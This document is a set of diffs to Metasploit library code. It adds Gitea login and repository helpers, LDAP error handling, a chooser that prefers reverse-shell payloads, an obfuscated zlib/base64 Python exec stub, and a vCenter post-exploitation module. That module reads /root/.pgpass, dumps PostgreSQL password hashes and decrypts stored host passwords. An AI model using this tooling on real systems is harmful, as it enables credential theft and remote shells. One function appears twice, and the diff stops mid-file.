|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with gitea installations
|
||||
module Gitea
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Gitea::Base
|
||||
include Msf::Exploit::Remote::HTTP::Gitea::Version
|
||||
include Msf::Exploit::Remote::HTTP::Gitea::Helpers
|
||||
include Msf::Exploit::Remote::HTTP::Gitea::Login
|
||||
include Msf::Exploit::Remote::HTTP::Gitea::Error
|
||||
include Msf::Exploit::Remote::HTTP::Gitea::URIs
|
||||
include Msf::Exploit::Remote::HTTP::Gitea::Repository
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitea application', '/'])
|
||||
], Msf::Exploit::Remote::HTTP::Gitea
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('GITEACHECK', [true, 'Check if the website is a valid Gitea install', true]),
|
||||
], Msf::Exploit::Remote::HTTP::Gitea
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,36 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitea::Base
|
||||
# Checks if the site is online and running gitea
|
||||
#
|
||||
# @return [String,nil] if the site is online and running gitea, nil or raise
|
||||
# UnknownError, VersionError and ::Rex exceptions otherwise
|
||||
def get_gitea_version
|
||||
unless datastore['GITEACHECK']
|
||||
vprint_status 'Skipping Gitea check...'
|
||||
return true
|
||||
end
|
||||
|
||||
gitea_detect_regexes = [
|
||||
/i_like_gitea=\w+/,
|
||||
]
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('Check TARGETURI - Unexpected HTTP response code') if res&.code != 200
|
||||
|
||||
if gitea_detect_regexes.none? { |r| res.get_cookies =~ r }
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('No web server or gitea instance found')
|
||||
end
|
||||
|
||||
version = gitea_version(res)
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError.new unless version
|
||||
version
|
||||
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('Could not connect to the web service')
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,45 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitea::Error
|
||||
class WebError < ::StandardError
|
||||
def initialize(message: nil)
|
||||
super(message || 'Gitea WebError')
|
||||
end
|
||||
end
|
||||
|
||||
class CsrfError < WebError
|
||||
def initialize
|
||||
super(message: 'Unable to get CSRF token')
|
||||
end
|
||||
end
|
||||
|
||||
class AuthenticationError < WebError
|
||||
def initialize
|
||||
super(message: 'Authentication failed')
|
||||
end
|
||||
end
|
||||
|
||||
class MigrationError < WebError
|
||||
def initialize(message)
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
class RepositoryError < WebError
|
||||
def initialize(message)
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
class UnknownError < WebError
|
||||
def initialize(message)
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
class VersionError < WebError
|
||||
def initialize
|
||||
super(message: 'Unable to determine Gitea version')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,97 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitea::Helpers
|
||||
# Helper methods are private and should not be called by modules
|
||||
|
||||
module_function
|
||||
|
||||
# Returns CSRF token string for Gitea session
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] Rex HTTP Response object
|
||||
# @return [String,nil] csrf token if found, nil otherwise
|
||||
def gitea_get_csrf(res)
|
||||
res&.get_html_document&.at('//input[@name="_csrf"]/@value')&.text
|
||||
end
|
||||
|
||||
# Returns string for Gitea repository uid
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] Rex HTTP Response object
|
||||
# @return [String,nil] repo uid string if found, nil otherwise
|
||||
def gitea_get_repo_uid(res)
|
||||
res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
|
||||
end
|
||||
|
||||
# Returns string for Gitea service type uri
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] Rex HTTP Response object
|
||||
# @return [String,nil] Gitea service type uri string if found, nil otherwise
|
||||
def gitea_get_service_type_uri(res)
|
||||
res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
|
||||
end
|
||||
|
||||
# Returns the POST data for a Gitea login request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param csrf [String] Login csrf
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def gitea_helper_login_post_data(user, pass, csrf)
|
||||
{
|
||||
'user_name' => user,
|
||||
'password' => pass,
|
||||
'_csrf' => csrf
|
||||
}
|
||||
end
|
||||
|
||||
# Returns the POST data for a Gitea create repository request
|
||||
#
|
||||
# @param name [String] Repository name
|
||||
# @param uid [String] Repository uid
|
||||
# @param csrf [String] Login csrf
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def gitea_helper_repo_create_post_data(name, uid, csrf)
|
||||
{
|
||||
'uid' => uid,
|
||||
'auto_init' => 'on',
|
||||
'readme' => 'Default',
|
||||
'repo_name' => name,
|
||||
'trust_model' => 'default',
|
||||
'default_branch' => 'master',
|
||||
'_csrf' => csrf
|
||||
}
|
||||
end
|
||||
|
||||
# Returns the POST data for a Gitea remove repository request
|
||||
#
|
||||
# @param name [String] Repository path
|
||||
# @param csrf [String] Login csrf
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def gitea_helper_repo_remove_post_data(name, csrf)
|
||||
{
|
||||
'action' => 'delete',
|
||||
'repo_name' => name,
|
||||
'_csrf' => csrf
|
||||
}
|
||||
end
|
||||
|
||||
# Returns the POST data for a Gitea migrate repository request
|
||||
#
|
||||
# @param name [String] Repository name
|
||||
# @param uid [String] Repository uid
|
||||
# @param service [String] Service id
|
||||
# @param url [String] Repository name
|
||||
# @param token [String] Repository auth token
|
||||
# @param csrf [String] Login csrf
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def gitea_helper_repo_migrate_post_data(name, uid, service, url, token, csrf)
|
||||
{
|
||||
'uid' => uid,
|
||||
'service' => service,
|
||||
'pull_requests' => 'on',
|
||||
'repo_name' => name,
|
||||
'_csrf' => csrf,
|
||||
'auth_token' => token,
|
||||
'clone_addr' => url
|
||||
}
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,36 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitea::Login
|
||||
# performs a gitea login
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the
|
||||
# request times out
|
||||
# @raise [CsrfError] if the CSRF could not be retrieved
|
||||
# @raise [AuthenticationError] if the authentication fails
|
||||
# @return [Rex::Proto::Http::Response,AuthenticationError] the HTTP response
|
||||
# on successful login, raise AuthenticationError otherwise
|
||||
def gitea_login(user, pass, timeout = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => gitea_url_login,
|
||||
'keep_cookies' => true
|
||||
}, timeout)
|
||||
return nil unless res
|
||||
|
||||
csrf = gitea_get_csrf(res)
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => gitea_url_login,
|
||||
'vars_post' => gitea_helper_login_post_data(user, pass, csrf),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError.new if res&.code != 302
|
||||
|
||||
store_valid_credential(user: user, private: pass)
|
||||
return res
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,100 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitea::Repository
|
||||
# performs a gitea repository creation
|
||||
#
|
||||
# @param name [String] Repository name
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the
|
||||
# request times out
|
||||
# @return [uid,nil] the repository uid as a single string on successful
|
||||
# creation, nil or raise RepositoryError and CsrfError otherwise
|
||||
def gitea_create_repo(name, timeout = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => gitea_url_repo_create,
|
||||
'keep_cookies' => true
|
||||
}, timeout)
|
||||
return nil unless res
|
||||
|
||||
uid = gitea_get_repo_uid(res)
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError.new('Unable to get repo uid') unless uid
|
||||
|
||||
csrf = gitea_get_csrf(res)
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => gitea_url_repo_create,
|
||||
'vars_post' => gitea_helper_repo_create_post_data(name, uid, csrf),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError.new('Unable to create repo') if res&.code != 302
|
||||
return uid
|
||||
end
|
||||
|
||||
# performs a gitea repository migration
|
||||
#
|
||||
# @param name [String] Repository name
|
||||
# @param name [String] Repository uid
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the
|
||||
# request times out
|
||||
# @return [Rex::Proto::Http::Response, MigrationError] the HTTP response
|
||||
# object on successful migration, raise MigrationError otherwise
|
||||
def gitea_migrate_repo(name, uid, url, token, timeout = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => gitea_url_repo_migrate,
|
||||
'keep_cookies' => true
|
||||
}, timeout)
|
||||
return nil unless res
|
||||
|
||||
uri = gitea_get_service_type_uri(res)
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::WebError.new('Unable to get service type uri') unless uri
|
||||
|
||||
service = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, uri),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
csrf = gitea_get_csrf(res)
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' => gitea_helper_repo_migrate_post_data(name, uid, service, url, token, csrf),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
if res&.code != 302 # possibly triggered by the [migrations] settings
|
||||
err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError.new(err)
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
# performs a gitea repository deletion
|
||||
#
|
||||
# @param path [String] Repository path (/username/reponame)
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the
|
||||
# request times out
|
||||
# @return [Rex::Proto::Http::Response] the HTTP response object or raise
|
||||
# CsrfError otherwise
|
||||
def gitea_remove_repo(path, timeout = 20)
|
||||
uri = gitea_url_repo_settings(path)
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'keep_cookies' => true
|
||||
}, timeout)
|
||||
return nil unless res
|
||||
return res if res&.code == 404 # return res if 404 to handling cleanup
|
||||
|
||||
csrf = gitea_get_csrf(res)
|
||||
raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf
|
||||
|
||||
name = path.split('/').last
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' => gitea_helper_repo_remove_post_data(name, csrf),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,31 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitea::URIs
|
||||
# Returns the Gitea Login URL
|
||||
#
|
||||
# @return [String] Gitea Login URL
|
||||
def gitea_url_login
|
||||
normalize_uri(target_uri.path, 'user', 'login')
|
||||
end
|
||||
|
||||
# Returns the Gitea Create repository URL
|
||||
#
|
||||
# @return [String] Gitea Create repository URL
|
||||
def gitea_url_repo_create
|
||||
normalize_uri(target_uri.path, 'repo', 'create')
|
||||
end
|
||||
|
||||
# Returns the Gitea Migrate repository URL
|
||||
#
|
||||
# @return [String] Gitea Migrate repository URL
|
||||
def gitea_url_repo_migrate
|
||||
normalize_uri(target_uri.path, 'repo', 'migrate')
|
||||
end
|
||||
|
||||
# Returns the Gitea Settings repository URL
|
||||
#
|
||||
# @return [String] Gitea Settings repository URL
|
||||
def gitea_url_repo_settings(path)
|
||||
normalize_uri(target_uri.path, path, 'settings')
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,34 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitea::Version
|
||||
# Powered by Gitea Version
|
||||
GITEA_VERSION_PATTERN = 'Gitea Version: (?<version>[\da-zA-Z.]+)'.freeze
|
||||
|
||||
# Extracts the Gitea version information from base path
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] Rex HTTP Response object
|
||||
# @return [String,nil] gitea version if found, nil otherwise
|
||||
def gitea_version(res = nil)
|
||||
# detect version from /
|
||||
version = gitea_version_helper(
|
||||
normalize_uri(target_uri.path),
|
||||
/#{GITEA_VERSION_PATTERN}/,
|
||||
res
|
||||
)
|
||||
return version
|
||||
end
|
||||
|
||||
def gitea_version_helper(url, regex, res)
|
||||
res ||= send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url,
|
||||
'keep_cookies' => true
|
||||
})
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
return match[1] if match
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
@@ -69,7 +69,7 @@ module Msf::Exploit::Remote::HTTP::NagiosXi::Install
|
||||
#
|
||||
# @param cookies [String] cookies required to visit the license agreement page
|
||||
# @param nsp [String] nsp token required to visit the license agreement page
|
||||
# @return [nil, Array] nil if signing the the license agreement succeeds, otherwise Array containing an error code and an error message
|
||||
# @return [nil, Array] nil if signing the license agreement succeeds, otherwise Array containing an error code and an error message
|
||||
def sign_license_agreement(cookies, nsp)
|
||||
if cookies.blank?
|
||||
return [2, 'Cannot sign the license agreement. The provided cookies are empty or nil.']
|
||||
|
||||
@@ -142,7 +142,7 @@ module Msf
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
case bind_result['resultCode']
|
||||
when 0
|
||||
print_good('Successfully bound to the LDAP server!')
|
||||
vprint_good('Successfully bound to the LDAP server!')
|
||||
when 1
|
||||
fail_with(Msf::Exploit::Remote::Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage'].strip}")
|
||||
when 7
|
||||
@@ -159,5 +159,57 @@ module Msf
|
||||
fail_with(Msf::Exploit::Remote::Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage'].strip}")
|
||||
end
|
||||
end
|
||||
|
||||
def validate_query_result!(query_result, filter)
|
||||
if query_result.class != Hash
|
||||
raise ArgumentError.new('Parameter to "validate_query_result!" function was not a Hash!')
|
||||
end
|
||||
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
case query_result['resultCode']
|
||||
when 0
|
||||
vprint_status("Successfully queried #{filter}.")
|
||||
when 1
|
||||
# This is unknown as whilst we could fail on lack of authorization, this is not guaranteed with this error code.
|
||||
# The user will need to inspect the error message to determine the root cause of the issue.
|
||||
fail_with(Failure::Unknown, "An LDAP operational error occurred on #{filter}. It is likely the client requires authorization! The error was: #{query_result['errorMessage'].strip}")
|
||||
when 2
|
||||
fail_with(Failure::BadConfig, "The LDAP protocol being used by Metasploit isn't supported. The error was #{query_result['errorMessage'].strip}")
|
||||
when 3
|
||||
fail_with(Failure::TimeoutExpired, "The LDAP server returned a timeout response to the query #{filter}.")
|
||||
when 4
|
||||
fail_with(Failure::UnexpectedReply, "The LDAP query #{filter} was determined to result in too many entries for the LDAP server to return.")
|
||||
when 11
|
||||
fail_with(Failure::UnexpectedReply, "The LDAP server indicated that #{filter} hit some administrative limit within the server whilst the request was being processed.")
|
||||
when 16
|
||||
fail_with(Failure::NotFound, "The LDAP operation failed for #{filter} because the referenced attribute does not exist.")
|
||||
when 18
|
||||
fail_with(Failure::BadConfig, "The LDAP search with #{filter} failed because some matching is not supported for the target attribute type!")
|
||||
when 32
|
||||
fail_with(Failure::UnexpectedReply, "The LDAP search with #{filter} failed cause the operation targeted an entity within the base DN that does not exist.")
|
||||
when 33
|
||||
fail_with(Failure::BadConfig, "An attempt was made to deference an alias that didn't resolve properly with #{filter}.")
|
||||
when 34
|
||||
fail_with(Failure::BadConfig, 'The request included an invalid base DN entry.')
|
||||
when 50
|
||||
fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.')
|
||||
when 51
|
||||
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is too busy to perform the request.')
|
||||
when 52
|
||||
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is not currently available to process the request.')
|
||||
when 53
|
||||
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.')
|
||||
when 64
|
||||
fail_with(Failure::Unknown, "The LDAP operation failed due to a naming violation when using #{filter}.")
|
||||
when 65
|
||||
fail_with(Failure::Unknown, "The LDAP operation failed due to an object class violation when using #{filter}.")
|
||||
else
|
||||
if query_result['errorMessage'].blank?
|
||||
fail_with(Failure::Unknown, "Query #{filter} failed but no error message was returned!")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Query #{filter} failed with error: #{query_result['errorMessage'].strip}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -42,8 +42,15 @@ module Msf::Modules::Metadata::Search
|
||||
res = {}
|
||||
|
||||
terms.each do |term|
|
||||
keyword, search_term = term.split(":", 2)
|
||||
unless search_term
|
||||
# Split it on the `:`, with the part before the first `:` going into keyword, the part after first `:`
|
||||
# but before any later instances of `:` going into search_term, and the characters after the second
|
||||
# `:` or later in the string going into _excess to be ignored.
|
||||
#
|
||||
# Example is `use exploit/linux/local/nested_namespace_idmap_limit_priv_esc::a`
|
||||
# which would make keyword become `exploit/linux/local/nested_namespace_idmap_limit_priv_esc`,
|
||||
# search_term become blank, and _excess become "a".
|
||||
keyword, search_term, _excess = term.split(":", 3)
|
||||
if search_term.blank?
|
||||
search_term = keyword
|
||||
keyword = 'text'
|
||||
end
|
||||
|
||||
@@ -463,6 +463,66 @@ class Payload < Msf::Module
|
||||
return nops
|
||||
end
|
||||
|
||||
# Select a reasonable default payload and minimally configure it
|
||||
# @param [Msf::Module] mod
|
||||
def self.choose_payload(mod)
|
||||
compatible_payloads = mod.compatible_payloads(
|
||||
excluded_platforms: ['Multi'] # We don't want to select a multi payload
|
||||
).map(&:first)
|
||||
|
||||
# XXX: Determine LHOST based on global LHOST, RHOST or an arbitrary internet address
|
||||
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
|
||||
|
||||
configure_payload = lambda do |payload|
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
payload_defaults = { 'PAYLOAD' => payload }
|
||||
|
||||
# Set LHOST if this is a reverse payload
|
||||
if payload.index('reverse')
|
||||
payload_defaults['LHOST'] = lhost
|
||||
end
|
||||
mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_payload')
|
||||
else
|
||||
mod.datastore['PAYLOAD'] = payload
|
||||
# Set LHOST if this is a reverse payload
|
||||
if payload.index('reverse')
|
||||
mod.datastore['LHOST'] = lhost
|
||||
end
|
||||
end
|
||||
|
||||
payload
|
||||
end
|
||||
|
||||
# If there is only one compatible payload, return it immediately
|
||||
if compatible_payloads.length == 1
|
||||
return configure_payload.call(compatible_payloads.first)
|
||||
end
|
||||
|
||||
# XXX: This approach is subpar, and payloads should really be ranked!
|
||||
preferred_payloads = [
|
||||
# These payloads are generally reliable and common enough in practice
|
||||
'/meterpreter/reverse_tcp',
|
||||
'/shell/reverse_tcp',
|
||||
'cmd/unix/reverse_bash',
|
||||
'cmd/unix/reverse_netcat',
|
||||
'cmd/windows/powershell_reverse_tcp',
|
||||
# Fall back on a generic payload to autoselect a specific payload
|
||||
'generic/shell_reverse_tcp',
|
||||
'generic/shell_bind_tcp'
|
||||
]
|
||||
|
||||
# XXX: This is not efficient in the slightest
|
||||
preferred_payloads.each do |type|
|
||||
payload = compatible_payloads.find { |name| name.end_with?(type) }
|
||||
|
||||
next unless payload
|
||||
|
||||
return configure_payload.call(payload)
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# A placeholder stub, to be overriden by mixins
|
||||
#
|
||||
|
||||
@@ -12,8 +12,9 @@ module Msf::Payload::Python
|
||||
# @return [String] Full python stub to execute the command.
|
||||
#
|
||||
def self.create_exec_stub(cmd)
|
||||
# Base64 encoding is required in order to handle Python's formatting
|
||||
b64_stub = "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(cmd)}')[0]))"
|
||||
# Encoding is required in order to handle Python's formatting
|
||||
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))
|
||||
b64_stub = "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{payload}')[0])))"
|
||||
b64_stub
|
||||
end
|
||||
|
||||
|
||||
@@ -63,7 +63,7 @@ module Payload::Python::ReverseHttp
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
if self.available_space.nil? || dynamic_size? || required_space > self.available_space
|
||||
uri_req_len = 30
|
||||
end
|
||||
|
||||
|
||||
@@ -46,7 +46,7 @@ module Msf
|
||||
|
||||
def valid?(value, check_empty: nil)
|
||||
return false unless super
|
||||
return false unless File.exist?(File.expand_path(value)) # no memory: locations
|
||||
return false unless value && File.file?(File.expand_path(value)) # no memory: locations
|
||||
|
||||
begin
|
||||
self.class.assert_compatible(Rex::PeParsey::Pe.new_from_file(value, true), @arch)
|
||||
|
||||
@@ -0,0 +1,308 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Vcenter
|
||||
module Database
|
||||
include Msf::Post::File
|
||||
|
||||
def pgpass_file
|
||||
'/root/.pgpass'
|
||||
end
|
||||
|
||||
def psql_bin
|
||||
'/opt/vmware/vpostgres/current/bin/psql'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a array of hashes of the .pgpass file
|
||||
# @param location [String] where the file is located. defaults to /root/.pgpass
|
||||
# @return [Array] array of hashes of the file contents, nil on error
|
||||
#
|
||||
def process_pgpass_file(location = pgpass_file)
|
||||
return nil unless file_exist?(location)
|
||||
|
||||
contents = read_file(location)
|
||||
return nil if contents.nil?
|
||||
return nil if contents.empty?
|
||||
|
||||
output = []
|
||||
contents.each_line(chomp: true) do |line|
|
||||
# file format hostname:port:database:username:password
|
||||
# https://www.postgresql.org/docs/current/libpq-pgpass.html
|
||||
next unless line.include?(':') # attempt to do a little quality control
|
||||
|
||||
sections = line.split(':')
|
||||
o = {}
|
||||
o['hostname'] = sections[0].strip
|
||||
o['port'] = sections[1].strip
|
||||
o['database'] = sections[2]
|
||||
o['username'] = sections[3]
|
||||
o['password'] = sections[4]
|
||||
|
||||
o['port'] = '5432' if o['port'] == '*'
|
||||
output.append(o)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of postgres users and password hashes from the database
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t")
|
||||
return nil if postgres_users.nil?
|
||||
|
||||
postgres_users = postgres_users.split("\n")
|
||||
return nil unless postgres_users.first
|
||||
|
||||
postgres_users.each do |postgres_user|
|
||||
row_data = postgres_user.split('|')
|
||||
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'user' => row_data[0],
|
||||
'password_hash' => row_data[1]
|
||||
}
|
||||
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of postgres users and password hashes from the database
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t")
|
||||
return nil if postgres_users.nil?
|
||||
|
||||
postgres_users = postgres_users.split("\n")
|
||||
return nil unless postgres_users.first
|
||||
|
||||
postgres_users.each do |postgres_user|
|
||||
row_data = postgres_user.split('|')
|
||||
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'user' => row_data[0],
|
||||
'password_hash' => row_data[1]
|
||||
}
|
||||
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpx users and password hashes from the database
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param symkey [String] string of they symkey
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def query_vpx_creds(pg_password, vcdb_user, vcdb_name, symkey = nil)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vpx_creds = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT user_name, password, local_ip_address, ip_address, dns_name FROM VPX_HOST;' -P pager -A -t")
|
||||
return nil if vpx_creds.nil?
|
||||
|
||||
vpx_creds = vpx_creds.split("\n")
|
||||
return nil unless vpx_creds.first
|
||||
|
||||
vpx_creds.each do |vpx_user|
|
||||
row_data = vpx_user.split('|')
|
||||
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'user' => row_data[0],
|
||||
'encrypted_password' => row_data[1],
|
||||
'local_ip' => row_data[2],
|
||||
'ip_address' => row_data[3],
|
||||
'dns_name' => row_data[4]
|
||||
}
|
||||
unless symkey.nil?
|
||||
# https://github.com/shmilylty/vhost_password_decrypt/blob/main/decrypt.py
|
||||
# https://pentera.io/blog/information-disclosure-in-vmware-vcenter/
|
||||
encrypted_password = row_data[1].gsub('*', '').strip
|
||||
encrypted_password = Base64.decode64(encrypted_password)
|
||||
encrypted_password = encrypted_password.scan(/.{16}/)
|
||||
|
||||
iv = encrypted_password.shift
|
||||
encrypted_password = encrypted_password.join
|
||||
begin
|
||||
cipher = OpenSSL::Cipher.new('aes-256-cbc')
|
||||
cipher.decrypt
|
||||
cipher.key = [symkey.strip].pack('H*')
|
||||
cipher.iv = iv
|
||||
user['decrypted_password'] = cipher.update(encrypted_password) + cipher.final
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
vprint_error("Unable to decrypt password for #{user} due to OpenSSL Cipher Error: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# A helper function to return the command line statement string to connect to the postgress server
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vcdb_host [String] virtual center hostname. Defaults to 'localhost'
|
||||
# @return [String] a string to run on command line
|
||||
#
|
||||
def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost')
|
||||
# should come in wrapped in quotes, but if not wrap
|
||||
unless pg_password.start_with?("'") && pg_password.end_with?("'")
|
||||
pg_password = "'#{pg_password}'"
|
||||
end
|
||||
"PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpc customization contents
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @return [Hash] where the customization name is the key and value is the parsed xml doc, nil on error
|
||||
#
|
||||
